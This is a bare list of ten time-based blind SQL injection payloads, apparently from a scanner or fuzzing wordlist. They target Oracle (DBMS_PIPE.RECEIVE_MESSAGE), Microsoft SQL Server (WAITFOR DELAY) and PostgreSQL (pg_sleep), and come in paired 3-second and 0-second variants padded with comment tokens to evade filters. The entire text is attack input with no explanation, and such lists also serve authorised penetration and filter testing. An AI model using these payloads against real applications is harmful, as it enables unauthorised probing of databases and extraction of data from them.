123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',3)='e

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m

123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('p',3)

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('n',0)

123456'and(select+1)>0waitfor/**/delay'0:0:3

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0